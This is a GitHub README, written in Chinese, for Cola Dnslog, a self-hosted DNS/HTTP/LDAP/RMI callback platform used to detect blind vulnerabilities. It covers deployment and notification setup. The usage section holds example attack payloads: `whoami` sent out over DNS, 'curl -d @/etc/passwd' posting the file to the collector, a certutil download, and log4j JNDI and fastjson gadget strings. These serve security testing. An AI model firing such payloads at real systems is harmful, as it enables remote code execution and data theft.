Skip to content

Cola Dnslog v1.3.2 更加强大的dnslog平台/无回显漏洞探测辅助平台 完全开源 dnslog httplog ldaplog rmilog 支持dns http ldap rmi等协议 提供API调用方式便于与其他工具结合 支持钉钉机器人、Bark等提醒 支持docker一键部署 后端完全使用python实现 前端基于vue-element-admin二开

License

Notifications You must be signed in to change notification settings

AbelChe/cola_dnslog

Repository files navigation

sugarless dnslog
英文版本在路上......

Cola Dnslog

--AbelChe

Cola Dnslog 是一款更加强大的dnslog平台(无回显漏洞探测辅助平台),
  • 完全开源
  • 支持dns http ldap rmi等协议
  • 提供API调用方式便于与其他工具结合
  • 支持钉钉机器人、Bark等提醒
  • 支持docker一键部署

涉及到技术、框架:

dns http ldap rmi webui vue-element-admin fastapi sqlite

可帮助检测漏洞:

log4j2 fastjson ruoyi Spring RCE Blind SQL Bland XXE

特色:

Dingtalk Robot Bark API ldaplog rmilog Docker

Stargazers over time

🥯 使用方法

假设你购买的域名为example.com

你的vps ip为1.1.1.1

域名

请自行购买域名,并将域名的解析服务器托管至部署cola_dnslog的服务器

以godaddy为例

  1. 配置域名解析处右上角三个点,点击Host Names

image-20220717175903352

  1. 修改或新增主机名如下图所示,ip地址填写你的vps地址即可

image-20220717180002176

  1. 回到dns管理,将域名服务器修改为ns1.example.comns2.example.com

image-20220717180242944

安装部署

因为一些国内网络众所周知的原因,大多数同学使用国内VPS都会卡在前端npm构建的时候,目前暂未找到更好的解决方案,建议使用国外或者网络畅通的VPS搭建。

欢迎大家提issues!

Docker(推荐)

一键启动(推荐)
  1. 下载源码
git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog
  1. 修改docker-compose.yml中environment变量
...
  server:
    ...
    environment:
      DNS_DOMAIN: example.com # 自己的域名
      NS1_DOMAIN: ns1.example.com # ns1绑定
      NS2_DOMAIN: ns2.example.com # ns2绑定
      SERVER_IP: 1.1.1.1 # vps ip
      HTTP_PORT: 80 # httplog服务端口
      HTTP_RESPONSE_SERVER_VERSION: nginx # httplog返回头的服务端信息Server: nginx
      LDAP_PORT: 1389 # ldaplog服务端口
      RMI_PORT: 1099 # rmilog服务端口
    ...
  front:
  	...
    environment:
      API_BASE_URL: 'http://1.1.1.1:28001' # http://vpsip:28001 / http://example.com:28001
    ...
  1. 启动
docker-compose up -d
  1. 启动之后查看docker日志或者查看info.txt获取账号信息

server端程序运行会在程序根目录创建一个info.txt用于记录初始化的账号信息

docker-compose logs
docker exec -it <container_id> cat /coladnslog/info.txt

image-20220812005813825

如果需要自定义端口,请修改docker-compose.yml的端口映射ports即可

前后端分离部署

服务端:

git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog

docker build -t coladnslog_server -f Dockerfile_server .
docker run -itd \
-e DNS_DOMAIN=example.com \
-e NS1_DOMAIN=ns1.example.com \
-e NS2_DOMAIN=ns2.example.com \
-e SERVER_IP=1.1.1.1 \
-e HTTP_PORT=80 \
-e HTTP_RESPONSE_SERVER_VERSION=nginx \
-e LDAP_PORT=1389 \
-e RMI_PORT=1099 \
--net=host \
--name ColaDnslog_server coladnslog_server

客户端:

git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog

sudo docker build --build-arg VERSION=v1.3.2 -t coladnslog_front -f Dockerfile_front .
sudo docker run -itd \
-p 18080:80 \
-e "API_BASE_URL=http://1.2.3.4:28001" \
--name ColaDnslog_front coladnslog_front

源码安装

共分四步

第一步 下载源码

下载源码

git clone https://github.com/Abelche/cola_dnslog.git

我习惯于将服务用tmux放到后台运行

第二步 启动webserver

安装python(python>=3.7)依赖

注意,需要用python3.7及以上版本,否则会有兼容性问题,多python推荐使用conda

cd cola_dnslog
pip install -r requirements.txt

修改根目录下的config.yaml

主要需要修改DNS_DOMAIN NS1_DOMAIN NS2_DOMAIN SERVER_IP

可选: 修改HTTP_RESPONSE_SERVER_VERSION伪造http返回中Server字段

global:
  DB_FILENAME: sqlite.db

logserver:
  DNS_DOMAIN: example.com
  NS1_DOMAIN: ns1.example.com
  NS2_DOMAIN: ns2.example.com
  SERVER_IP: 1.1.1.1
  DNS_PORT: 53
  HTTP_HOST: 0.0.0.0
  HTTP_PORT: 80
  HTTP_RESPONSE_SERVER_VERSION: nginx
  LDAP_HOST: 0.0.0.0
  LDAP_PORT: 1389
  RMI_HOST: 0.0.0.0
  RMI_PORT: 1099

webserver:
  HOST: 0.0.0.0
  PORT: 28001
  PASSWORD_SALT: 随便一长串字符串,如:cuau89j2iifdas8

启动webserber端和logserver端,注意这里一定要先启动webserver端(因为要先通过webserver端初始化数据库,初始化之后会在终端输出账号、密码、token、logid等信息。

chmod +x start_webserver
./start_webserver

image-20220730035846090

第三步 启动logserver(需要root权限)
chmod +x start_logserver
sudo ./start_logserver

image-20220730160132103

第四步 启动前端

现在来到前端(不一定要和webserver放在一起,你甚至可以通过electron打包成本地客户端),先修改配置文件.env.production

cd src/front
vim .env.production
# just a flag
ENV = 'production'

# base api
VUE_APP_BASE_API = 'http://1.1.1.1:28001'

TARGET_API = 'http://1.1.1.1:28001'

然后npm安装依赖、打包、启动http服务(这里可以随意选择http服务器,为了方便我直接用python启动)

cd src/front
npm install
npm run build:prod

cd dist
python3 -m http.server 18001

至此,三端(webserver端、logserver端、webui前端)已经全部开启!

这时,访问http://1.1.1.1:18001应该可以看到登录页面!

玩得开心!

钉钉机器人

在钉钉群新建机器人,安全设置:添加自定义关键词coladnslog

image-20220731231424000

并获取到webhook的token,注意,只需要填写token即可

image-20220731231912885

进入webui,修改Dingtalk Robot Token为上文获取的token,点击Update保存即可

image-20220802020311279

效果如下:

image-20220731231301577

Bark

Finb/Bark: Bark is an iOS App which allows you to push custom notifications to your iPhone (github.com)

Finb/bark-server: Backend of Bark (github.com)

同上 进入webui,开启Bark开关,然后修改bark url,点击Update保存

image-20220802015907678

效果如下:

image-20220802015642879

如何使用

上文提到,假定我的域名和ip是example.com1.1.1.1,并且我们账户的logid为qrq

DNS

nsloopup `whoami`.qrq.example.com
ping `whoami`.qrq.example.com

HTTP

curl 1.1.1.1/qrq/some/info
curl -d @/etc/passwd 1.1.1.1/qrq/postdata
certutil -urlcache -split -f http://1.1.1.1/x x

LDAP

log4j2 fastjson等可以使用此方法

注意这里必须要令最后路径的最后作为logid,如:ldapqrq xxxxqrq qrq xxx/qrq

${jndi:ldap://1.1.1.1:1389/ldapqrq}
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://1.1.1.1:1389/ldapqrq", "autoCommit":true}

RMI

同上,log4j2 fastjson等

${jndi:rmi://1.1.1.1:1099/rmiqrq}
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://1.1.1.1:1099/rmiqrq", "autoCommit":true } }

👀 概览

登录

image-20220730151326711

首页

image-20220731143149729

Dnslog

image-20230204200108337

Httplog

image-20230204200455783

Ldaplog

image-20230204201704004

Rmilog

image-20230204201750497

账号信息

image-20220801003540673

钉钉机器人

image-20220731231301577

Bark

image-20220802015642879

📔 更新日志

  • 2023-02-03 v1.3.2
    1. 修改默认解析记录,domain[.]com和*[.]domain[.]com的A记录查询指向127.0.0.1,增加md5(serverip)[.]admin[.]domain[.]com作为域名访问的入口
    2. 修复问题:logserver报错崩溃Segmentation fault issues19
    3. 修改默认的docker前端部署方式(无需用户编译)
    4. 增加清除日志功能
  • 2022-08-12 v1.3.1
    1. 修复docker部署方式dns端口冲突问题
  • 2022-08-12 v1.3.0
    1. 创建api文档https://abelche.github.io/cola_dnslog/
    2. 更新docker部署方式
    3. 修复部分显示问题
  • 2022-08-09 v1.2.2 v1.2.3
    1. 更新readme
    2. 修复文件名拼写错误
  • 2022-08-03 v1.2.1
    1. 更新readme
  • 2022-08-02 v1.2.0
    1. 增加bark提醒功能
    2. 修改logserver端http的返回为1x1的gif格式图片
    3. 增加http返回包里Server字段的伪造功能
    4. 修复前端profile页面开关bug
  • 2022-08-01 v1.1.0
    1. 增加重新生成token、修改密码功能
    2. 优化前端展示效果,优化渲染速度
    3. 增加id排序功能
    4. 首页Usage部分根据服务端自动生成
    5. 增加钉钉机器人
    6. 修复rmi协议解析bug
  • 2022-07-30 v1.0.0
    1. cola_dnslog发布 v1.0.0

🎯 ==TODO==

  • 联动钉钉【2022-07-31】
  • 联动bark【2022-08-02】
  • 添加api文档【2022-08-12】
  • 增加ip属地功能
  • docker一键部署【2022-08-12】
  • 其他协议
  • 增加mysql等数据库的支持

📜 声明

本项目使用 Apache License 2.0

🌟 404星链计划

Cola Dnslog 现已加入 404星链计划

💦 其他

🎖 他们也出力了!


Weik1

🐡

🎉 参考

☕️ buy me a coffee 3q

师傅们可以加我wx,一起交流进步RG9nZ3lDaGVuZwo=

给他买杯咖啡,让他接着码! 也可以加星球一起交流(免费)
IMG_4788 xq.jpg

About

Cola Dnslog v1.3.2 更加强大的dnslog平台/无回显漏洞探测辅助平台 完全开源 dnslog httplog ldaplog rmilog 支持dns http ldap rmi等协议 提供API调用方式便于与其他工具结合 支持钉钉机器人、Bark等提醒 支持docker一键部署 后端完全使用python实现 前端基于vue-element-admin二开

Topics

Resources

License

Stars

Watchers

Forks

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy